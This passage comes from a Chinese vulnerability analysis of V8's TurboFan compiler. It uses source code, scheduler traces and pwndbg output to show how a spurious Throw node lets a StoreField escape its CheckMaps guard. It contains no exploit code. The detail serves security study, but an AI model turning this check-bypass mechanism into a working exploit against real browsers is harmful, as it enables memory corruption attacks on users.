  special_rpo_->PrintAndVerifySpecialRPO();

  // Add collected nodes for basic blocks to their blocks in the right order.
  int block_num = 0;
  for (NodeVector* nodes : scheduled_nodes_) {
    BasicBlock::Id id = BasicBlock::Id::FromInt(block_num++);
    BasicBlock* block = schedule_->GetBlockById(id);
    if (nodes) {
      for (Node* node : base::Reversed(*nodes)) {
        schedule_->AddNode(block, node);
      }
    }
  }
}

日志输出：

这里，可以使用--trace-turbo-schedule来对ComputeSchedule阶段进行日志输出。但是这里可以看到还没有对基本块的执行顺序做最终的确定，而是要到EffectLineariziton阶段。

EffectLinearizition

该阶段主要是将分配表示形式的变化链入control/effect chain中并lower节点，引入effect phis重新连接effect得到SSA等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
void EffectControlLinearizer::Run() {
  BlockEffectControlMap block_effects(temp_zone());
  ZoneVector<PendingEffectPhi> pending_effect_phis(temp_zone());
  ZoneVector<BasicBlock*> pending_block_controls(temp_zone());
  NodeVector inputs_buffer(temp_zone());

  // TODO(rmcilroy) We should not depend on having rpo_order on schedule, and
  // instead just do our own RPO walk here.
  // 按照逆后序遍历CFG，处理每个基本块
  for (BasicBlock* block : *(schedule()->rpo_order())) {
    gasm()->Reset(block);
		
    BasicBlock::iterator instr = block->begin();
    BasicBlock::iterator end_instr = block->end();

    // The control node should be the first.
    // 基本块开始指令节点
    Node* control = *instr;
    gasm()->AddNode(control);

    DCHECK(NodeProperties::IsControl(control));
    bool has_incoming_backedge = IrOpcode::kLoop == control->opcode();
    // Update the control inputs.
    if (has_incoming_backedge) {
      // If there are back edges, we need to update later because we have not
      // computed the control yet.
      pending_block_controls.push_back(block);
    } else {
      // If there are no back edges, we can update now.
      UpdateBlockControl(block, &block_effects);
    }
    instr++;

    // Iterate over the phis and update the effect phis.
    Node* effect_phi = nullptr;
    Node* terminate = nullptr;
    //遍历并增加EffectPhi\Phi\Terminate节点
    for (; instr != end_instr; instr++) {
      Node* node = *instr;
      // Only go through the phis and effect phis.
      if (node->opcode() == IrOpcode::kEffectPhi) {
        // There should be at most one effect phi in a block.
        DCHECK_NULL(effect_phi);
        // IfException blocks should not have effect phis.
        DCHECK_NE(IrOpcode::kIfException, control->opcode());
        effect_phi = node;
      } else if (node->opcode() == IrOpcode::kPhi) {
        // Just skip phis.
      } else if (node->opcode() == IrOpcode::kTerminate) {
        DCHECK_NULL(terminate);
        terminate = node;
      } else {
        break;
      }
      gasm()->AddNode(node);
    }
		//如果存在EffectPhi节点
    if (effect_phi) {
      // Make sure we update the inputs to the incoming blocks' effects.
      //如果基本块存在循环，则先不处理EffectPhi而是将其保存下来等将前驱节点处理完毕再处理
      if (has_incoming_backedge) {
        // In case of loops, we do not update the effect phi immediately
        // because the back predecessor has not been handled yet. We just
        // record the effect phi for later processing.
        pending_effect_phis.push_back(PendingEffectPhi(effect_phi, block));
      } else {
        //更新
        UpdateEffectPhi(effect_phi, block, &block_effects);
      }
    }

    Node* effect = effect_phi;
    //如果不存在Effect节点
    if (effect == nullptr) {
      // There was no effect phi.
      if (block == schedule()->start()) {
        // Start block => effect is start.
        DCHECK_EQ(graph()->start(), control);
        effect = graph()->start();
      } else if (control->opcode() == IrOpcode::kEnd) {
        // End block is just a dummy, no effect needed.
        DCHECK_EQ(BasicBlock::kNone, block->control());
        DCHECK_EQ(1u, block->size());
        effect = nullptr;
      } else {
        // If all the predecessors have the same effect, we can use it as our
        // current effect.
        for (size_t i = 0; i < block->PredecessorCount(); ++i) {
          const BlockEffectControlData& data =
              block_effects.For(block->PredecessorAt(i), block);
          if (!effect) effect = data.current_effect;
          //判断基本块的前驱基本块的Effect是否与当前基本块相同，若不相同则置为空
          if (data.current_effect != effect) {
            effect = nullptr;
            break;
          }
        }
        //如果当前基本块Effect边仍为空，则为当前基本块创建EffectPhi节点
        if (effect == nullptr) {
          DCHECK_NE(IrOpcode::kIfException, control->opcode());
          // The input blocks do not have the same effect. We have
          // to create an effect phi node.
          inputs_buffer.clear();
          inputs_buffer.resize(block->PredecessorCount(), jsgraph()->Dead());
          inputs_buffer.push_back(control);
          //创建Effect节点
          effect = graph()->NewNode(
              common()->EffectPhi(static_cast<int>(block->PredecessorCount())),
              static_cast<int>(inputs_buffer.size()), &(inputs_buffer.front()));
          gasm()->AddNode(effect);
          // For loops, we update the effect phi node later to break cycles.
          if (control->opcode() == IrOpcode::kLoop) {
            pending_effect_phis.push_back(PendingEffectPhi(effect, block));
          } else {
            //使用新的Effect节点更新基本块的Effect约束
            UpdateEffectPhi(effect, block, &block_effects);
          }
        } else if (control->opcode() == IrOpcode::kIfException) {
          //如果是KIfException类型，则更新当前节点的Effect节点
          // The IfException is connected into the effect chain, so we need
          // to update the effect here.
          NodeProperties::ReplaceEffectInput(control, effect);
          effect = control;
        }
      }
    }

    // Fixup the Terminate node.
    if (terminate != nullptr) {
      //更新Terminate节点的Effect
      NodeProperties::ReplaceEffectInput(terminate, effect);
    }

    // The frame state at block entry is determined by the frame states leaving
    // all predecessors. In case there is no frame state dominating this block,
    // we can rely on a checkpoint being present before the next deoptimization.
    Node* frame_state = nullptr;
    if (block != schedule()->start()) {
      //如果前驱基本块的frame_state都相同，则也沿用原来的frame_state
      // If all the predecessors have the same effect, we can use it
      // as our current effect.
      frame_state =
          block_effects.For(block->PredecessorAt(0), block).current_frame_state;
      for (size_t i = 1; i < block->PredecessorCount(); i++) {
        if (block_effects.For(block->PredecessorAt(i), block)
                .current_frame_state != frame_state) {
          frame_state = nullptr;
          frame_state_zapper_ = graph()->end();
          break;
        }
      }
    }
		//初始化Effect和Control边
    gasm()->InitializeEffectControl(effect, control);

    // Process the ordinary instructions.
    // 处理优化普通节点
    for (; instr != end_instr; instr++) {
      Node* node = *instr;
      ProcessNode(node, &frame_state);
    }
		//确定最终的基本块
    block = gasm()->FinalizeCurrentBlock(block);
		//更新基本块的Effect和Contro信息
    switch (block->control()) {
      case BasicBlock::kGoto:
      case BasicBlock::kNone:
        break;
      case BasicBlock::kCall:
      case BasicBlock::kTailCall:
      case BasicBlock::kSwitch:
      case BasicBlock::kReturn:
      case BasicBlock::kDeoptimize:
      case BasicBlock::kThrow:
      case BasicBlock::kBranch:
        //更新基本块的Effect和Control信息
        UpdateEffectControlForNode(block->control_input());
        gasm()->UpdateEffectControlWith(block->control_input());
        break;
    }

    if (!should_maintain_schedule() &&
        block->control() == BasicBlock::kBranch) {
      //
      TryCloneBranch(block->control_input(), block, temp_zone(), graph(),
                     common(), &block_effects, source_positions_,
                     node_origins_);
    }

    // Store the effect, control and frame state for later use.
    // 存储当前基本块的Effect、Control、Frame_state便于后续使用
    for (BasicBlock* successor : block->successors()) {
      BlockEffectControlData* data = &block_effects.For(block, successor);
      if (data->current_effect == nullptr) {
        data->current_effect = gasm()->effect();
      }
      if (data->current_control == nullptr) {
        data->current_control = gasm()->control();
      }
      data->current_frame_state = frame_state;
    }
  }
	// 再次更新之前未处理的节点的Control
  for (BasicBlock* pending_block_control : pending_block_controls) {
    UpdateBlockControl(pending_block_control, &block_effects);
  }
  // Update the incoming edges of the effect phis that could not be processed
  // during the first pass (because they could have incoming back edges).
  //更新之前未处理的节点的Effect
  for (const PendingEffectPhi& pending_effect_phi : pending_effect_phis) {
    UpdateEffectPhi(pending_effect_phi.effect_phi, pending_effect_phi.block,
                    &block_effects);
  }

  schedule_->rpo_order()->clear();
}
ProcessNode

在ProcessNode中会处理除EffectPhi\ Effect\ Terminate节点之外的其他节点。首先调用TryWireInStateEffect函数，将节点与effect\control链连接，随后根据节点的类型，设置对应的属性和修改effect\control链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
void EffectControlLinearizer::ProcessNode(Node* node, Node** frame_state) {
  SourcePositionTable::Scope scope(source_positions_,
                                   source_positions_->GetSourcePosition(node));
  NodeOriginTable::Scope origin_scope(node_origins_, "process node", node);

  // If basic block is unreachable after this point, update the node's effect
  // and control inputs to mark it as dead, but don't process further.
  // 去除基本块不可达，则标记其中的节点为Dead
  if (gasm()->effect() == jsgraph()->Dead()) {
    UpdateEffectControlForNode(node);
    return;
  }

  // If the node needs to be wired into the effect/control chain, do this
  // here. Pass current frame state for lowering to eager deoptimization.
  // 将节点连接到effect和control链中
  if (TryWireInStateEffect(node, *frame_state)) {
    return;
  }

  // If the node has a visible effect, then there must be a checkpoint in the
  // effect chain before we are allowed to place another eager deoptimization
  // point. We zap the frame state to ensure this invariant is maintained.
  if (region_observability_ == RegionObservability::kObservable &&
      !node->op()->HasProperty(Operator::kNoWrite)) {
    *frame_state = nullptr;
    frame_state_zapper_ = node;
  }

  // Remove the end markers of 'atomic' allocation region because the
  // region should be wired-in now.
  // 处理 region节点，修改其属性并修改输入
  if (node->opcode() == IrOpcode::kFinishRegion) {
    // Reset the current region observability.
    region_observability_ = RegionObservability::kObservable;
    // Update the value uses to the value input of the finish node and
    // the effect uses to the effect input.
    return RemoveRenameNode(node);
  }
  if (node->opcode() == IrOpcode::kBeginRegion) {
    // Determine the observability for this region and use that for all
    // nodes inside the region (i.e. ignore the absence of kNoWrite on
    // StoreField and other operators).
    DCHECK_NE(RegionObservability::kNotObservable, region_observability_);
    region_observability_ = RegionObservabilityOf(node->op());
    // Update the value uses to the value input of the finish node and
    // the effect uses to the effect input.
    return RemoveRenameNode(node);
  }
  if (node->opcode() == IrOpcode::kTypeGuard) {
    return RemoveRenameNode(node);
  }

  // Special treatment for checkpoint nodes.
  if (node->opcode() == IrOpcode::kCheckpoint) {
    // Unlink the check point; effect uses will be updated to the incoming
    // effect that is passed. The frame state is preserved for lowering.
    DCHECK_EQ(RegionObservability::kObservable, region_observability_);
    *frame_state = NodeProperties::GetFrameStateInput(node);
    return;
  }

  // The IfSuccess nodes should always start a basic block (and basic block
  // start nodes are not handled in the ProcessNode method).
  DCHECK_NE(IrOpcode::kIfSuccess, node->opcode());
	// 更新节点的Effect和Control边
  UpdateEffectControlForNode(node);

  gasm()->AddNode(node);
	//在{Unreachable}上断开效果链，并重新连接到图形末端。通过连接到{Dead}节点，将以下代码标记为删除
  if (node->opcode() == IrOpcode::kUnreachable) {
    // Break the effect chain on {Unreachable} and reconnect to the graph end.
    // Mark the following code for deletion by connecting to the {Dead} node.
    gasm()->ConnectUnreachableToEnd();
  }
}
TryWireInStateEffect

这里会根据节点的类型，对节点进行优化，并且调用ReplaceUses函数修改节点的use_edge。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
bool EffectControlLinearizer::TryWireInStateEffect(Node* node,
                                                   Node* frame_state) {
  Node* result = nullptr;
  switch (node->opcode()) {
		//...  
    //优化checkMaps
    case IrOpcode::kCheckMaps:
      LowerCheckMaps(node, frame_state);
      break;
    //...
	//node= CheckMap node,control=Mergenide,effect=EffectPhi
  NodeProperties::ReplaceUses(node, result, gasm()->effect(),
                              gasm()->control());
  return true;
}


void NodeProperties::ReplaceUses(Node* node, Node* value, Node* effect,
                                 Node* success, Node* exception) {
  // Requires distinguishing between value, effect and control edges.
  for (Edge edge : node->use_edges()) {
    if (IsControlEdge(edge)) {
      if (edge.from()->opcode() == IrOpcode::kIfSuccess) {
        DCHECK_NOT_NULL(success);
        edge.UpdateTo(success);
      } else if (edge.from()->opcode() == IrOpcode::kIfException) {
        DCHECK_NOT_NULL(exception);
        edge.UpdateTo(exception);
      } else {
        DCHECK_NOT_NULL(success);
        edge.UpdateTo(success);
      }
    } else if (IsEffectEdge(edge)) {
      //EffectPhi
      DCHECK_NOT_NULL(effect);
      edge.UpdateTo(effect);
    } else {
      DCHECK_NOT_NULL(value);
      edge.UpdateTo(value);
    }
  }
}
ConnectUnreachableToEnd

该函数是ProcessNode遇到kUnreachable节点时的处理流程，会新建一个Throw节点，并将其连接到end节点，而且会修改effect_和control_属性为dead。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void GraphAssembler::ConnectUnreachableToEnd() {
  DCHECK_EQ(effect()->opcode(), IrOpcode::kUnreachable);
  //创建一个新的throw节点
  Node* throw_node = graph()->NewNode(common()->Throw(), effect(), control());
  // 将节点的control连接到end节点
  NodeProperties::MergeControlToEnd(graph(), common(), throw_node);
  effect_ = control_ = mcgraph()->Dead();
  if (block_updater_) {
    //添加throw节点到基本块
    block_updater_->AddThrow(throw_node);
  }
}

void NodeProperties::MergeControlToEnd(Graph* graph,
                                       CommonOperatorBuilder* common,
                                       Node* node) {
  //将node节点作为end节点的control_inout
  graph->end()->AppendInput(graph->zone(), node);
  //
  graph->end()->set_op(common->End(graph->end()->InputCount()));
}
FinalizeCurrentBlock

主要是判断当前基本块是否可达，如果不可达，则会修改control_和effect_属性为当前基本块的throw_node节点属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BasicBlock* GraphAssembler::FinalizeCurrentBlock(BasicBlock* block) {
  if (block_updater_) {
    block = block_updater_->Finalize(block);
    if (control() == mcgraph()->Dead()) {
      // If the block's end is unreachable, then reset current effect and
      // control to that of the block's throw control node.
      // 如果节点的end是不可达，则修改effect_和control_为当前基本块的throw节点
      DCHECK(block->control() == BasicBlock::kThrow);
      Node* throw_node = block->control_input();
      control_ = NodeProperties::GetControlInput(throw_node);
      effect_ = NodeProperties::GetEffectInput(throw_node);
    }
  }
  return block;
}
UpdateEffectControlForNode

对于特定类型的节点，会更新节点的effect和control信息为gasm()->control()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void EffectControlLinearizer::UpdateEffectControlForNode(Node* node) {
  // If the node takes an effect, replace with the current one.
  if (node->op()->EffectInputCount() > 0) {
    DCHECK_EQ(1, node->op()->EffectInputCount());
    //修改节点的effect边为gasm()->effect
    NodeProperties::ReplaceEffectInput(node, gasm()->effect());
  } else {
    // New effect chain is only started with a Start or ValueEffect node.
    DCHECK(node->op()->EffectOutputCount() == 0 ||
           node->opcode() == IrOpcode::kStart);
  }

  // Rewire control inputs.
  // 修改节点所有的control_input的为gasm()->control()
  for (int i = 0; i < node->op()->ControlInputCount(); i++) {
    NodeProperties::ReplaceControlInput(node, gasm()->control(), i);
  }
}

void NodeProperties::ReplaceControlInput(Node* node, Node* control, int index) {
  CHECK_LE(0, index);
  CHECK_LT(index, node->op()->ControlInputCount());
  node->ReplaceInput(FirstControlIndex(node) + index, control);
}

ReduceGraph

完成了ComputeSchedule、EffectLineariziion之后，就是进行ReduceGraph。这里主要关注DeadCodeEimination中的Throw节点，这里可以看到在PropagateDeadControl函数中，会判断throw节点的control_input输入节点是否为Dead，如果是则调用Replace

函数，不是则不做更改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Reduction DeadCodeElimination::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;
  switch (node->opcode()) {
    case IrOpcode::kEnd:
      return ReduceEnd(node);
    case IrOpcode::kLoop:
    case IrOpcode::kMerge:
      return ReduceLoopOrMerge(node);
    case IrOpcode::kLoopExit:
      return ReduceLoopExit(node);
    case IrOpcode::kUnreachable:
    case IrOpcode::kIfException:
      return ReduceUnreachableOrIfException(node);
    case IrOpcode::kPhi:
      return ReducePhi(node);
    case IrOpcode::kEffectPhi:
      return ReduceEffectPhi(node);
    case IrOpcode::kDeoptimize:
    case IrOpcode::kReturn:
    case IrOpcode::kTerminate:
    case IrOpcode::kTailCall:
      return ReduceDeoptimizeOrReturnOrTerminateOrTailCall(node);
    case IrOpcode::kThrow:
      return PropagateDeadControl(node);
    case IrOpcode::kBranch:
    case IrOpcode::kSwitch:
      return ReduceBranchOrSwitch(node);
    default:
      return ReduceNode(node);
  }
  UNREACHABLE();
}

Reduction DeadCodeElimination::PropagateDeadControl(Node* node) {
  DCHECK_EQ(1, node->op()->ControlInputCount());
  //
  Node* control = NodeProperties::GetControlInput(node);
  if (control->opcode() == IrOpcode::kDead) return Replace(control);
  return NoChange();
}

这里可以看到对于

调试分析

支配树分析

CFG构建的过程中，一个很重要的阶段就是构建每个节点的直接支配节点，因为直接支配节点表示了节点之间的必须的执行路径。然后再由根节点开始，遍历输入节点，构建最小的基本块。那么根据遍历直接支配节点，我们能够确定节点之间的执行顺序。这里，我们比较漏洞版本和修复版本关于漏洞触发关键的79 StoreField节点的直接支配树的差异。

这里漏洞版本的直接支配树是：422 unreachable-> 475 DeoptimizeUnless -> 471 DeoptimizeUnless ->468 LoadField -> 79 StoreField，当有两个支配节点时会选择深度更小的节点作为直接支配节点，所以这里由于422 Unreachable的两个支配节点476 Throw block 4和137 Throw block 3，最终会选择block 3传递给79 StoreField。

而在修复后的版本中，由于137 Throw这个由Terminate节点转变而来的节点的消失。使得得到的支配树为：422 Unreachable -> 475 DeoptimizeUnless -> 471 DeoptimizeUnless -> 468 LoadField -> 79 StoreField，这里422 Unreachable节点的基本块为block 4，所以最终使得StoreField节点的基本块也变为 4。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//漏洞版本
Scheduling #79:StoreField
  must dominate use #468:LoadField in id:3
Scheduling #468:LoadField
  must dominate use #471:DeoptimizeUnless in id:3
  must dominate use #470:Word32Equal in id:3
Scheduling #470:Word32Equal
  must dominate use #471:DeoptimizeUnless in id:3
Scheduling #471:DeoptimizeUnless
  must dominate use #475:DeoptimizeUnless in id:3
  must dominate use #475:DeoptimizeUnless in id:3
Scheduling #475:DeoptimizeUnless
  must dominate use #476:Throw in id:4
  must dominate use #422:Unreachable in id:3
  must dominate use #422:Unreachable in id:3
Scheduling #422:Unreachable
  must dominate use #476:Throw in id:4
  must dominate use #137:Throw in id:3
  
//修复版本
Scheduling #79:StoreField
  must dominate use #468:LoadField in id:4
Scheduling #468:LoadField
  must dominate use #471:DeoptimizeUnless in id:4
  must dominate use #470:Word32Equal in id:4
Scheduling #470:Word32Equal
  must dominate use #471:DeoptimizeUnless in id:4
Scheduling #471:DeoptimizeUnless
  must dominate use #475:DeoptimizeUnless in id:4
  must dominate use #475:DeoptimizeUnless in id:4
Scheduling #475:DeoptimizeUnless
  must dominate use #476:Throw in id:4
  must dominate use #422:Unreachable in id:4
  must dominate use #422:Unreachable in id:4
Scheduling #422:Unreachable
  must dominate use #476:Throw in id:4

而我们看一下原本在79 StoreField节点前执行的检查节点465 DeoptimizeUnless节点的支配节点树，发现其支配节点是两个根节点，而这两个根节点一开始就被分配给了Block 4。

1
2
3
4
5
6
7
8
9
10
11
12
13
//漏洞版本
Scheduling #465:DeoptimizeUnless
  input@1 into a fixed phi #467:EffectPhi
  input@1 into a fixed merge #466:Merge
Fixing #466:Merge minimum_block = id:4, dominator_depth = 3
Fixing #467:EffectPhi minimum_block = id:4, dominator_depth = 3

//修复版本
Scheduling #465:DeoptimizeUnless
  input@1 into a fixed phi #467:EffectPhi
  input@1 into a fixed merge #466:Merge
Fixing #466:Merge minimum_block = id:4, dominator_depth = 3
Fixing #467:EffectPhi minimum_block = id:4, dominator_depth = 3

检查绕过总结：在BuildCFG的ScheduleLate阶段，在根据支配树来为每个节点分配基本块时，在漏洞版本中由于多了一个由Terminate节点转变而来的137 Throw节点，使得在计算422 Unreachable节点的基本块时选择137 Throw作为直接支配节点，最终传递基本块时导致79 StoreField节点的基本块由正常的基本块4变为了基本块3。而原本应该在79 StoreField节点之前的检查465 DeoptimizeUnless节点却被放在了Block 4。所以，漏洞版本中StoreField赋值的执行 并没有进行CheckMap检查。

这里还有一个关键的问题即137 Throw节点和476 Throw节点所属基本块不相同？137 Throw节点是在什么时候被分配了基本块3？

为什么137Throw 节点会被分配基本块3？在前面CFG构建时已经解释了，这里如果继续查看TFEffectLinearization的SCHEDULE EARLY阶段，也可以发现137 Throw节点在此时被识别为根节点被分配了block 3。再继续向上回溯，可以看到在Create CFG阶段时，137 Throw节点就已经被连接到了end节点。

1
2
3
Fixing #137:Throw minimum_block = id:3, dominator_depth = 2
  
Connect #137:Throw, id:3 -> end

这里首先要解释一个参数--trace-turbo-scheduled，当我们启动v8时加上这个参数可以看到其会在Turbofan的每一个优化阶段都输出ComputeSchedule阶段的构建信息。原因是在OptimizeGraph函数中，可以看到在执行完一个优化阶段后，都会紧跟着执行RunPrintAndVerify函数，而在该函数中会判断是否开启了--trace-turbo-scheduled参数，如果开启了则会执行一次ComputeSchedule函数。

最终导致，我们输出的结果里每一个优化阶段都会输出schedule信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
bool PipelineImpl::OptimizeGraph(Linkage* linkage) {
  PipelineData* data = this->data_;

  data->BeginPhaseKind("V8.TFLowering");

  // Type the graph and keep the Typer running such that new nodes get
  // automatically typed when they are created.
  Run<TyperPhase>(data->CreateTyper());
  RunPrintAndVerify(TyperPhase::phase_name());
  Run<TypedLoweringPhase>();
  RunPrintAndVerify(TypedLoweringPhase::phase_name());

	// ...

  // Run early optimization pass.
  Run<EarlyOptimizationPhase>();
  RunPrintAndVerify(EarlyOptimizationPhase::phase_name(), true);

  Run<EffectControlLinearizationPhase>();
  RunPrintAndVerify(EffectControlLinearizationPhase::phase_name(), true);

	// ...
  
  ComputeScheduledGraph();

  return SelectInstructions(linkage);
}

void PipelineImpl::RunPrintAndVerify(const char* phase, bool untyped) {
  if (info()->trace_turbo_json_enabled() ||
      info()->trace_turbo_graph_enabled()) {
    Run<PrintGraphPhase>(phase);
  }
  if (FLAG_turbo_verify) {
    Run<VerifyGraphPhase>(untyped);
  }
}

  void Run(PipelineData* data, Zone* temp_zone, const char* phase) {
    OptimizedCompilationInfo* info = data->info();
    Graph* graph = data->graph();

    if (info->trace_turbo_json_enabled()) {  // Print JSON.
      AllowHandleDereference allow_deref;

      TurboJsonFile json_of(info, std::ios_base::app);
      json_of << "{\"name\":\"" << phase << "\",\"type\":\"graph\",\"data\":"
              << AsJSON(*graph, data->source_positions(), data->node_origins())
              << "},\n";
    }
		//是否开启 --trace-turbo-scheduled参数
    if (info->trace_turbo_scheduled_enabled()) {
      AccountingAllocator allocator;
      Schedule* schedule = data->schedule();
      if (schedule == nullptr) {
        //执行一次ComputeSchedule函数
        schedule = Scheduler::ComputeSchedule(temp_zone, data->graph(),
                                              Scheduler::kNoFlags,
                                              &info->tick_counter());
      }

      AllowHandleDereference allow_deref;
      CodeTracer::Scope tracing_scope(data->GetCodeTracer());
      OFStream os(tracing_scope.file());
      os << "-- Graph after " << phase << " -- " << std::endl;
      os << AsScheduledGraph(schedule);
    } else if (info->trace_turbo_graph_enabled()) {  // Simple textual RPO.
      AllowHandleDereference allow_deref;
      CodeTracer::Scope tracing_scope(data->GetCodeTracer());
      OFStream os(tracing_scope.file());
      os << "-- Graph after " << phase << " -- " << std::endl;
      os << AsRPO(*graph);
    }
  }
为什么137和476不同

这里，如果对比一下EarlyOptimize和EffectLinearizition两个阶段的IR图，可以发现476节点是在EffectLinearizition中构建的。所以，我们重点关注ProcessNode阶段的ConnectUnreachable函数：

可以看到在处理422 Unreachable节点时，会创建一个476 Throw节点，并且将该节点与end节点相连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
In file: /home/alex/v8/v8/src/compiler/graph-assembler.cc
   819 void GraphAssembler::ConnectUnreachableToEnd() {
   820   DCHECK_EQ(effect()->opcode(), IrOpcode::kUnreachable);
   821   Node* throw_node = graph()->NewNode(common()->Throw(), effect(), control());
   822   NodeProperties::MergeControlToEnd(graph(), common(), throw_node);
   823   effect_ = control_ = mcgraph()->Dead();
 ► 824   if (block_updater_) {
   825     block_updater_->AddThrow(throw_node);
   826   }
   827 }

pwndbg> p *(Operator*)(*(Node*)node).op_
$169 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x55898c38d638 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::UnreachableOperator+16>,
  mnemonic_ = 0x55898b3d8af9 "Unreachable",
  opcode_ = 59,
  properties_ = {
    mask_ = 24 '\030'
  },
  value_in_ = 0,
  effect_in_ = 1,
  control_in_ = 1,
  value_out_ = 1,
  effect_out_ = 1 '\001',
  control_out_ = 0
}
pwndbg> p *(Node*)node
$170 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x55898c3da208 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+48>,
  type_ = {
    payload_ = 0
  },
  mark_ = 45,
  bit_field_ = 570425766, //id=422
  first_use_ = 0x55898db62bc0
}

pwndbg> p *(Node*)0x55898dba2318
$175 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x55898c3da2f8 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>,
  type_ = {
    payload_ = 0
  },
  mark_ = 0,
  bit_field_ = 570425820,	//id=476
  first_use_ = 0x55898db7dad0
}
pwndbg> p *(Operator*)0x55898c3da2f8
$176 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x55898c38d750 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator+16>,
  mnemonic_ = 0x55898b3a292a "Throw",
  opcode_ = 21,
  properties_ = {
    mask_ = 120 'x'
  },
  value_in_ = 0,
  effect_in_ = 1,
  control_in_ = 1,
  value_out_ = 0,
  effect_out_ = 0 '\000',
  control_out_ = 1
}

接着我们查看日志，发现476 Throw节点竟然是在Create CFG时就已经被当作一个Fixed节点，而上面的分析说明476 Throw节点是在EffectLinearizition阶段被创建的，是在Create CFG之后。

这里经过调试发现是在执行完EffectLinearizition之后，又执行了一个ComputeSchedulePhase函数，最终进入了ConnectThrow函数，调用链如下：

1
2
3
4
5
6
7
8
PipelineImpl::OptimizeGraph 
  PipelineImpl::ComputeScheduledGraph
    compiler::ComputeSchedulePhase> 
      ComputeSchedulePhase::Run
        Scheduler::ComputeSchedule
          Scheduler::BuildCFG
            CFGBuilder::Run
              CFGBuilder::ConnectThrow

在ConnectThrow函数中，对于476 Throw节点计算得到的throw_control节点为475 DeoptimizeUnless节点，最终得到的基本块为block 4。所以这里最终也将476 Throw节点放入block 4。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
566   void ConnectThrow(Node* thr) {
   567     Node* throw_control = NodeProperties::GetControlInput(thr);
 ► 568     BasicBlock* throw_block = FindPredecessorBlock(throw_control);
   569     TraceConnect(thr, throw_block, nullptr);
   570     schedule_->AddThrow(throw_block, thr);
   571   }

pwndbg> p *(Node*)thr
$194 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x55898c3da2f8 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>,
  type_ = {
    payload_ = 0
  },
  mark_ = 72,
  bit_field_ = 570425820,	// id = 476
  first_use_ = 0x55898db7dae8
}

pwndbg> p *(Node*)$rax
$189 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x55898c3db2e0 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+4360>,
  type_ = {
    payload_ = 0
  },
  mark_ = 72,
  bit_field_ = 1140851163,	//id=475
  first_use_ = 0x55898dba22e8
pwndbg> p *(Operator*)0x55898c3db2e0
warning: RTTI symbol not found for class 'v8::internal::compiler::CommonOperatorGlobalCache::DeoptimizeUnlessOperator<(v8::internal::DeoptimizeKind)0, (v8::internal::DeoptimizeReason)26, (v8::internal::compiler::IsSafetyCheck)1>'
$192 = warning: RTTI symbol not found for class 'v8::internal::compiler::CommonOperatorGlobalCache::DeoptimizeUnlessOperator<(v8::internal::DeoptimizeKind)0, (v8::internal::DeoptimizeReason)26, (v8::internal::compiler::IsSafetyCheck)1>'
{
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
